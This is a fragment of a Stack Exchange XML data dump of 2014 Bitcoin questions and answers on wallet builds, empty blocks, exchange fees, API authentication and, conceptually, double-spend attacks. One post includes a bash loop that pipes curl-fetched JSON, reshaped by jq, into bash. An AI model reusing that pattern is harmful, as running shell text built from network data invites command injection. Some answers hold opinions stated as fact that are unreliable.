total&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/ghewgill/9821866&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/ghewgill/9821866&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11253" LastEditorUserId="11253" LastEditDate="2014-03-27T23:58:15.330" LastActivityDate="2014-03-27T23:58:15.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24076" PostTypeId="2" ParentId="24073" CreationDate="2014-03-27T23:46:39.960" Score="4" Body="&lt;p&gt;Take a look at &lt;a href=&quot;https://blockchain.info/api/charts_api&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, its the blockchain.info api. it gives a json feed for many things.&lt;/p&gt;&#xA;" OwnerUserId="14710" LastActivityDate="2014-03-27T23:46:39.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24077" PostTypeId="1" AcceptedAnswerId="24085" CreationDate="2014-03-27T23:58:08.330" Score="0" ViewCount="478" Body="&lt;p&gt;In multiple places I've found methods of modifying or adding to the bitcoin-qt(or other coin wallet) source on ubuntu or osx, but how would I do this on a Windows machine? If possible, I'd like to be able to use an IDE(pretty much required) to be able to build, but also, I need some way to edit. Thanks ahead of time!&lt;/p&gt;&#xA;" OwnerUserId="11872" LastEditorUserId="11872" LastEditDate="2014-03-28T00:31:37.977" LastActivityDate="2014-03-28T21:30:48.687" Title="Programming for/modding bitcoin-qt on Windows" Tags="|bitcoin-core|development|windows|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24079" PostTypeId="2" ParentId="23620" CreationDate="2014-03-28T02:27:46.277" Score="0" Body="&lt;p&gt;Eventually you confused the P2Pool stratum port with the wallet node RPC port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you’ve set the wallet node RPC port to 3333, which by default is stratum port on the P2Pool as im aware, its very likely wrong set RPC credentials in the config of your wallet node.&lt;/p&gt;&#xA;" OwnerUserId="2167" LastActivityDate="2014-03-28T02:27:46.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24082" PostTypeId="1" CreationDate="2014-03-28T05:59:23.343" Score="2" ViewCount="314" Body="&lt;p&gt;So, I was reading &lt;a href=&quot;http://bitfreak.info/files/pp2p-ccmbc-rev1.pdf&quot; rel=&quot;nofollow&quot;&gt;this paper&lt;/a&gt; as a proposal to the ever growing blockchain problem. In summary, it's security is provided without a full blockchain by having a proof chain with these fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Previous proof block hash&lt;/li&gt;&#xA;&lt;li&gt;block header hash&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now this is all fine, but one problem I see is what if 2 coins were to adopt this scheme? If one chain was vastly more powerful than another, than an attacker could take the other blockchain and build fake transactions and blocks onto it and then introduce it to the weaker coin's peers. The peers would see it as having a higher overall difficulty/length and adopt it. Other than verifying the genesis block's hash and embedding it within the peer/wallet software, is there any other way to prevent this attack? The paper also mentions trimming extremely old proof blocks, but that doesn't appear to be possible to securely do if the genesis block could be pruned from the proof chain. &lt;/p&gt;&#xA;" OwnerUserId="9512" LastEditorUserId="5406" LastEditDate="2016-03-10T09:53:49.420" LastActivityDate="2016-03-10T09:53:49.420" Title="If more than one coin did the &quot;mini-blockchain&quot; proposal, would that make the weaker coin vulnerable?" Tags="|blockchain|alternatives|academic-research|mining-technical-details|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24083" PostTypeId="1" CreationDate="2014-03-28T07:22:34.573" Score="0" ViewCount="276" Body="&lt;p&gt;I compiled Bitcoin, Dogecoin, and many other pow/pos cryptocurrencies without a problem. I usually compile daemon and then windows-qt wallet using qt 5.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But maxcoin and its clones like Helixcoin and galleoncoin always throw this particular error once I have compiled and run on windows 8. QT4.8.5&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the procedure entry point memmove s could not be located in the dynamic link library msvcrt.dll&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;coin daemon compiles and runs without a problem. And I downloaded their pre compiled windows-qt wallets from official websites and they work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my config for compilation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BOOST_LIB_SUFFIX=-mgw48-mt-s-1_50 &#xA;BOOST_INCLUDE_PATH=C:/boost-1.50.0-mgw&#xA;BOOST_LIB_PATH=C:/boost-1.50.0-mgw/stage/lib&#xA;BDB_INCLUDE_PATH=C:/db-4.8.30.NC-mgw/build_unix&#xA;BDB_LIB_PATH=C:/db-4.8.30.NC-mgw/build_unix&#xA;OPENSSL_INCLUDE_PATH=C:/openssl-1.0.1c-mgw/include&#xA;OPENSSL_LIB_PATH=C:/openssl-1.0.1c-mgw&#xA;MINIUPNPC_INCLUDE_PATH=C:/&#xA;MINIUPNPC_LIB_PATH=C:/miniupnpc-1.6-mgw&#xA;QT4.8.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the source I am working on&#xA;    &lt;a href=&quot;https://github.com/HelixCoin/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/HelixCoin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already looked through all of the files and I do not understand the cause of this error. And there is not much help on internet.&lt;/p&gt;&#xA;" OwnerUserId="13817" LastActivityDate="2014-03-28T12:12:23.613" Title="Compiling Maxcoin and its clone cryptos throw an error" Tags="|windows|litecoin-qt|maxcoin|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="24084" PostTypeId="2" ParentId="23780" CreationDate="2014-03-28T08:10:41.227" Score="2" Body="&lt;p&gt;There's no way for an input script to control the output script, so it can't be encoded into the script itself. However, you can get the same effect with more than one partially-signed transaction. Make a P2SH 2-of-2 multisig address, where you hold one key and the claimant holds the other. Send it some Bitcoin. Then part-sign two transactions from that address, one to A and the other to B. Send the claimant both transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The claimant will only be able to spend exactly the amount you sign for, so if you really want a lower limit you'll need to create more transactions with different outputs.&lt;/p&gt;&#xA;" OwnerUserId="14445" LastEditorUserId="14445" LastEditDate="2014-03-28T12:16:55.647" LastActivityDate="2014-03-28T12:16:55.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24085" PostTypeId="2" ParentId="24077" CreationDate="2014-03-28T10:36:23.197" Score="0" Body="&lt;p&gt;Qt is a multiplattform library, so is its IDE (qtcreator). You can compile bitcoin-qt on Windows pretty much the same that yo do on Linux.&lt;/p&gt;&#xA;" OwnerUserId="14876" LastEditorUserId="14876" LastEditDate="2014-03-28T21:30:48.687" LastActivityDate="2014-03-28T21:30:48.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24086" PostTypeId="1" CreationDate="2014-03-28T10:43:19.240" Score="1" ViewCount="91" Body="&lt;p&gt;I am interested in registering online, however I haven't got any knowledge on encrypted language not even on software design or whatever it is called.  Is it possible for a person like me to register and enjoy the benefits from bitcoin that surely will become the currency of our modern generation:)&lt;/p&gt;&#xA;" OwnerUserId="14877" LastActivityDate="2014-03-28T14:06:00.873" Title="Can anyone without knowledge of encrypted tech use bitcoin?" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24087" PostTypeId="1" AcceptedAnswerId="24103" CreationDate="2014-03-28T11:01:09.570" Score="4" ViewCount="487" Body="&lt;p&gt;I can't easily and quickly determine from these wiki pages, &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;2&lt;/a&gt;, if the public key is included in the signed message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are public keys included in the signed message, or are they transmitted alongside the signatures, external to the signed message?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-03-28T12:31:57.157" LastActivityDate="2014-03-30T12:23:10.997" Title="Are public keys included in signatures?" Tags="|transactions|public-key|transaction-malleability|signature|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24088" PostTypeId="2" ParentId="24083" CreationDate="2014-03-28T12:12:23.613" Score="1" Body="&lt;p&gt;So I finally decided to give up trying to use qt 4.8.5 and helixcoin and galleoncoin github sources. And used qt 5.2.0 with slothcoin source from github. Which worked fine. And qt wallet started without a problem. Though I still dont understand why was qt 4.8.5 not including the msrvct.dll file. maybe that these libs were never included in qt 4.8.5? Seems to be compile fine on windows 8.1 and ubuntu 12.04 :)&lt;/p&gt;&#xA;" OwnerUserId="13817" LastActivityDate="2014-03-28T12:12:23.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24089" PostTypeId="2" ParentId="24086" CreationDate="2014-03-28T12:50:52.440" Score="0" Body="&lt;p&gt;Of course you can use the bitcoin without knowledge of encrypted tech !&#xA;all you have to do is to create an online wallet and after everything its easy.&#xA;Mining its another story , you will need very strong hardware in order to create bitcoins by yourself.&#xA;You can start things going from here : &lt;a href=&quot;https://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/choose-your-wallet&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;" OwnerUserId="14879" LastActivityDate="2014-03-28T12:50:52.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24091" PostTypeId="2" ParentId="24086" CreationDate="2014-03-28T14:06:00.873" Score="1" Body="&lt;p&gt;If you just want to use Bitcoin, it is no harder than using a credit card or online-banking. I suggest reading up on some safety best-practices in order to protect your funds, and to use two-factor authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have put together a collection of frequent questions new users ask. It is to be found here: &lt;a href=&quot;https://bitcoin.stackexchange.com/q/22796/5406&quot;&gt;I am new to Bitcoin, how can I get started?&lt;/a&gt;.&lt;br&gt;&#xA;It is essentially a bunch of pointers to yet other questions, but should help you find answers to questions that you are concerned with now. Don't worry, you don't have to read all of them at one time or even at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to understand how Bitcoin works under the hood, it is more complicated. However, when you think about it, so are credit cards and online-banking. ;)&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-03-28T14:06:00.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24093" PostTypeId="2" ParentId="21002" CreationDate="2014-03-28T16:54:07.330" Score="2" Body="&lt;p&gt;One societal problem Bitcoin could solve is &lt;strong&gt;Prejudice by Country of Residence&lt;/strong&gt;.  For example, a vendor in India may have difficulty selling to an American company because the American company does not want to send their credit card number to India because this would expose them to unauthorized payments in the future.  Since bitcoin payments are secure, trustless, and one-time, bitcoin would solve this problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A second societal problem Bitcoin could solve is &lt;strong&gt;Inequality caused by Digital Theft&lt;/strong&gt;.  The bitcoin protocol could be used to prevent the unauthorized copying of digital property.  Since most of the world's software developers live in India and China, bitcoin could significantly increase their ability to earn money and thereby reduce inequality on a global scale.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin could be good for the &lt;strong&gt;Environment&lt;/strong&gt;.  Bitcoin is in many ways an alternative to gold.  It is impossible to prove, but it is probable that bitcoin growth lowers the price of gold.  This in turn results in a reduction in gold mining, which is very harmful to the environment.&lt;/p&gt;&#xA;" OwnerUserId="12311" LastEditorUserId="12311" LastEditDate="2014-03-28T17:31:11.577" LastActivityDate="2014-03-28T17:31:11.577" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24098" PostTypeId="1" AcceptedAnswerId="24100" CreationDate="2014-03-28T19:09:21.877" Score="3" ViewCount="2396" Body="&lt;p&gt;Just opened blockchain.info and found two blocks with single transaction on the main page:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/block/00000000000000005ca6049e552e76ea082c8f0f6b6d94377b5c2857ae66d750&quot; rel=&quot;nofollow&quot;&gt;292942&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blockchain.info/block/00000000000000005df6627d5749eb8f4cd6f3b72df4af9bda1c4dab1b3e622b&quot; rel=&quot;nofollow&quot;&gt;292947&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Isn't it strange?&#xA;More than this, block 292941 was issued just minute before 292942 and has 128 transactions.&#xA;Block 292946 was issued just minute before 292947 and has 238 transactions in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is: why there are such empty blocks in blockchain even if there are some transactions to be included? Is this some kind of misuse?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPD&lt;/strong&gt;:&#xA;Using this little script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for b in {292000..292999} ; do&#xA;  curl -s https://blockchain.info/block-height/$b?format=json \&#xA;    | jq -c -r '.blocks[] | &quot;echo `date +%FT%T -d @\(.time)` \(.n_tx)&quot;' \&#xA;    | bash&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found 10 empty blocks. It does not looks like a coincidence. Seems like someone thinks that this is more profitable to mine for empty block. If this is the case, it will ruin bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="5935" LastEditorUserId="5406" LastEditDate="2016-04-12T09:44:22.840" LastActivityDate="2016-04-12T09:44:22.840" Title="Why there are blocks with single transaction in blockchain?" Tags="|empty-blocks|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24099" PostTypeId="1" AcceptedAnswerId="24101" CreationDate="2014-03-28T20:02:51.767" Score="4" ViewCount="2211" Body="&lt;p&gt;I'm a Canadian working for an American company.  I get paid in American which gets deposited into an American account.  To get the money to Canada, I write myself cheques from my American account and deposit into my Canadian account.  Would it be feasible/beneficial to transfer the money via bitcoin (convert USD to bitcoin, then convert bitcoin to CAD) instead of writing the cheques?&lt;/p&gt;&#xA;" OwnerUserId="14890" LastActivityDate="2014-03-29T14:51:34.647" Title="Would it be any cheaper to transfer US dollars to Canadian using Bitcoin?" Tags="|exchanges|money-transfer|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24100" PostTypeId="2" ParentId="24098" CreationDate="2014-03-28T20:11:57.147" Score="3" Body="&lt;p&gt;No, it isn't any kind of abuse. You don't have to worry (well perhaps a bit) about 'transaction starvation' (i.e. transactions that get never included because miners refuse to include them), as it is unlikely that one person (or more cooperating) will obtain 51% of the hash power. And even when they obtain 51%, they will be basically cutting themselves from the potential fees involved (and huge investment is required in something that could become worthless after abusing the system, because as a result the trust in bitcoin and therefore its price will fall). Only very large organisations like governments or international banks could potentially pull such trick to bring bitcoin in discredit and recover the loss. To counter this, several solutions have been proposed, such as &lt;a href=&quot;http://en.wikipedia.org/wiki/Proof-of-stake&quot; rel=&quot;nofollow&quot;&gt;proof of stake&lt;/a&gt; (in contrast to bitcoin's &lt;a href=&quot;http://en.wikipedia.org/wiki/Proof-of-work_system&quot; rel=&quot;nofollow&quot;&gt;proof of work&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for why these particular blocks do not contain any transaction at all: I don't know. I don't think there is any special reason for it, but I could imagine that by chance some of these blocks have less or no transactions (don't think that's the case here) or that some independent miner simply did not bother to include any transaction because of the low fees involved.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastEditorUserId="7043" LastEditDate="2014-03-28T20:20:46.870" LastActivityDate="2014-03-28T20:20:46.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24101" PostTypeId="2" ParentId="24099" CreationDate="2014-03-28T20:37:56.903" Score="3" Body="&lt;p&gt;If you exchange your US Dollars for Bitcoin and then use Bitcoin to buy Canadian Dollars, you will pay the exchange fees for that plus some more hidden costs such as for the bank transfers to fund these trades and the insurance cost for your Bitcoin exchange companies going bankrupt on you or the exchange rate dropping in between your purchase of Bitcoin and purchase of Canadian Dollars. Due to the volatility of Bitcoin and the surprisingly high rate of defaults of Bitcoin exchanges, these risks are, if priced correctly, much more costly than one might be used to in more established financial business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some wild estimates:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Low volume purchases of Bitcoin might cost up to about 0.5% in exchange fees.&lt;/li&gt;&#xA;&lt;li&gt;Same for low volume sales of Bitcoin (i.e. for Canadian Dollars).&lt;/li&gt;&#xA;&lt;li&gt;If you want to avoid the risk of the exchange rate moving between these transaction, you should budget for a similar loss (0.5%) due to the ask-bid spread.&lt;/li&gt;&#xA;&lt;li&gt;Let us assume it takes you a week to complete everything including the money transfers, and that the risk of losing all is approximately the rate at which Bitcoin exchanges have historically defaulted (approximately half after one year of operation), and that you stand to lose all money involved if that happens. Then a fair insurance against this risk is another 1%.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The total of all this is an expense, either directly or as risk allowance to insure yourself, of 2.5%. Since you may be able to improve a bit on every point, this could be called competitive with banks' international currency exchanges (which have once been described to me by a banker as carrying a guaranteed flat-rate 2.5% fee plus hidden costs). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you only pay $157 for exchanging $9000 in your particular case, which is about 1.7%, it will only be advantageous to use Bitcoin if either you can improve significantly on my example, or manage to talk yourself into ignoring or neglecting the risk of the Bitcoin exchange defaulting on its obligation to you. Of course, there are many entrepreneurs, myself included, who are trying to improve on the poor track record of Bitcoin exchanges!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: From the comments to the question, my best guess currently is that you effectively paid 2.57% in fees with the solution you now have. This makes it a tough call to answer if using Bitcoin is advantageous---by my example, it only is if you put a very low value on the added hazzle of dealing with at least one company acting as a Bitcoin exchange. In practice, you might find it possible to improve on my estimates, so the answer might be that it may be advantageous, depending on circumstances.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-03-29T14:51:34.647" LastActivityDate="2014-03-29T14:51:34.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24102" PostTypeId="1" CreationDate="2014-03-28T22:06:52.377" Score="0" ViewCount="527" Body="&lt;p&gt;Earlier this month I requested 2 payouts from BTCGuild for .25 each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zBExq.jpg&quot; alt=&quot;BTC Guild Payout Detail&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither one ever showed up in my wallet, and I just figured I messed up somehow and lost it.  But today I started sniffing around after requesting another payout (which I have received) and found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VHIbW.jpg&quot; alt=&quot;Botcoin Info&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the &quot;Request Payment&quot; button, is this still something I can retrieve?&#xA;And if so, how do I do it?&#xA;Thanks in advance for any and all info, good or bad.  Either way it will be a lesson learned.&lt;/p&gt;&#xA;" OwnerUserId="14893" LastActivityDate="2014-04-27T23:20:52.933" Title="Missing Bitcoin Transaction" Tags="|lost-transactions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24103" PostTypeId="2" ParentId="24087" CreationDate="2014-03-28T23:02:17.803" Score="2" Body="&lt;p&gt;There are two answers to your question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a signed message, you can recover the public key if you have both the signature and the message that was used to create the signature.  The algorithm actually returns four possible keys, so the signature includes a header byte to identify which of the four should be used.  This is possible because we know which curve (secp256k1) is used by Bitcoin when it generates the signature.  If you want to see how this is done, look at recoverFromSignature() &lt;a href=&quot;https://github.com/ScripterRon/BitcoinCore/blob/master/src/main/java/org/ScripterRon/BitcoinCore/ECKey.java&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a transaction, the public key is provided in the input script, the output script or a hashed script.  In the case of a multi-sig transaction, there are multiple signatures and multiple public keys.  There are also multiple ways to sign a transaction as determined by the signature hash type (a control byte added to the end of the signature).  If you want to see how this is done, look at checkSig() &lt;a href=&quot;https://github.com/ScripterRon/JavaBitcoin/blob/master/src/main/java/org/ScripterRon/JavaBitcoin/ScriptParser.java&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="9301" LastEditDate="2014-03-30T12:23:10.997" LastActivityDate="2014-03-30T12:23:10.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24104" PostTypeId="2" ParentId="24102" CreationDate="2014-03-28T23:09:57.027" Score="3" Body="&lt;p&gt;&quot;Request Payment&quot; is just a nifty little tool that generates a QR code that points to the address on the page, so it won't help you unless you want a QR code for the address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check to see if the address you've sent to is in a wallet you own. If you have lost the private keys to the address, the only thing you can do is try to find them. It's nearly impossible to regain control of addresses you've lost or forgotten. &lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-28T23:09:57.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24105" PostTypeId="1" CreationDate="2014-03-29T02:22:04.880" Score="0" ViewCount="258" Body="&lt;p&gt;My first experiences with bitcoin: I downloaded Multibit and then went to the CoinbitGet website. I copied and pasted my address at the site as they instructed and after verifying that it was the correct address, I did some tasks where I earned 240 ubtc. I did all that yesterday. Then this morning on the Coinbitget site it said I was paid - but nothing was shown on multibit. So the Multibit help said I should &quot;reset blockchain and transactions&quot; so I did that and let it run for about 13 hours. But still nothing. (I know Multibit is connected to the internet because it always shows the current bitcoin to dollar price in the upper right - even though it always says &quot;connecting&quot; rather than &quot;connected&quot; In the lower left). So I checked at &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/&lt;/a&gt;. and it says - &quot;(2014-03-28 04:27:08) Received transactions: 1 Received BTC: 0.00024&quot; - which was 16 hours ago but I still see nothing in Multibit. I read that Multibit is fast since it doesn't keep the blockchain on the disk. So what might I be missing? It is not a lot of money so I am not worried but would like to learn and am not sure what to do now. The address was correct. Any help would be appreciated. Thank you all.&lt;/p&gt;&#xA;" OwnerUserId="14895" LastActivityDate="2014-03-30T12:01:24.597" Title="How do I receive my first bitcoin?" Tags="|receiving|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24106" PostTypeId="1" AcceptedAnswerId="24713" CreationDate="2014-03-29T02:48:08.260" Score="1" ViewCount="313" Body="&lt;p&gt;I've signed up with ANXBTC.com and I'm trying to learn the API (based off MTGOX v2 API): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.anxv2.apiary.io/&quot; rel=&quot;nofollow&quot;&gt;http://docs.anxv2.apiary.io/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to issue commands, there needs to be authentication. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &quot;Rest-Key&quot;, but I have no idea how to generate/find a &quot;Rest-Sign&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the link above, it says that &quot;Rest-Sign is an HMAC hash constructed from your API secret, your API method path, your post data, and uses the SHA-512 algorithm.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also on the above link, there is sample code (PHP, python etc) which can be tested - however it needs both the Rest-Key and Rest-Sign. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part 2: Are these APIs meant to be run solely off a personal computer, or can it be used online? Eventually I want to try and create a website form where I can show the current exchange rate, as well as place orders. Is that possible? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has insight, help is greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, Michael&lt;/p&gt;&#xA;" OwnerUserId="14896" LastActivityDate="2014-04-19T07:28:40.290" Title="ANXBTC.com / MTGOX v2 API &quot;Authentication&quot;" Tags="|mtgox|api|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24107" PostTypeId="2" ParentId="24105" CreationDate="2014-03-29T04:27:05.000" Score="1" Body="&lt;p&gt;It's possible that your firewall is blocking the BTC node connections without blocking the price data. The price data is probably obtained through a normal port like HTTP or something, whereas the usual port for BTC connections is 8333. Other than that, the only other possibility that comes to mind is that it could have not got enough confirmations yet, blockchain.info can tell you how many confirmations your transactions have. Change the address in this URL to your own and see if the latest (top) transaction has 6 confirmations: &lt;a href=&quot;https://blockchain.info/address/1DFNwqgF1HToPaveeoGZL4qdBDEZYUmC89&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/1DFNwqgF1HToPaveeoGZL4qdBDEZYUmC89&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12616" LastActivityDate="2014-03-29T04:27:05.000" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24109" PostTypeId="1" AcceptedAnswerId="24114" CreationDate="2014-03-29T10:10:09.107" Score="2" ViewCount="872" Body="&lt;p&gt;Hi guys I am doing some research on double spending in the bitcoin network several ideas have been confusing me:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In prevention of Race attacks, merchants are advised to &quot;connect to a large random sample nodes in the network&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;First of all&lt;/strong&gt;, What do they mean by this? How is it done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Secondly&lt;/strong&gt;, how do attackers initiate the attack? All I know is they make 2 transactions of same reference, one to themselves the other to the merchant who recognizes only the latter and surrenders his goods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In an article on prevention, it states &quot;We assume that the attacker may connect to an arbitrary number of nodes in the network to broadcast any number of transactions claiming outputs to its possession.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly does this mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you guys, I know this question is very condensed but I appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT:&lt;/em&gt; Does it mean that I can go out and send X amount of bitcoins to myself and immediately spend the same amount, X on a merchant to defraud him?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't that just too easy?&lt;/p&gt;&#xA;" OwnerUserId="14900" LastActivityDate="2014-06-16T09:43:47.043" Title="Specifics on &quot;Race Double Spending Attacks&quot;?" Tags="|transactions|attack|spending|race-attack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24110" PostTypeId="2" ParentId="11116" CreationDate="2014-03-29T10:12:09.903" Score="0" Body="&lt;p&gt;The marked answer covers most of the major concerns I would have but there is one idea I've seen that does have some merit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The crux of the challenge is that a decentralized exchange requires you to trust &lt;em&gt;someone&lt;/em&gt; with your fiat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;a href=&quot;http://bitcoininsight.com/tag/fiat-money/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Ripple and Bitcoin – Foundations of a Decentralized Economy&lt;/a&gt; they describe a model I would trust for small amounts of fiat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is you establish lines of credit with people you trust. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple scenario is when the two people wanting to make a transaction have a person in common who they trust. Paraphrased from the article: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mark and Brian are strangers who want to make an exchange. Mark is willing to sell 0.5 BTC to Brian in exchange for $50 (USD).&lt;/li&gt;&#xA;&lt;li&gt;Brian has previously established a line of credit with his friend John for up to $100.&lt;/li&gt;&#xA;&lt;li&gt;And John happens to live with and be friends with Mark and they also have agreed to trust each other for up to $100 of credit.&lt;/li&gt;&#xA;&lt;li&gt;So once John has been notified that the transaction is valid he pulls out his wallet and pays Mark the $50.&lt;/li&gt;&#xA;&lt;li&gt;Brian now owes John $50 and since they trust each other they can sort that out when and as they wish.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;A picture (source: Ripple) might help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BpZ3B.jpg&quot; alt=&quot;Exchange using a trusted friend in common&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can easily be extended to chains of trust so that a person in common isn't needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still have a couple of small concerns with this model:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Collecting for larger amounts could be a burden and not very timely since it would be spread across a large number of your trusted friends.&lt;/li&gt;&#xA;&lt;li&gt;There is some risk with your total debt obligation to friends. It would be rare, but if you agree to give a credit line to 100 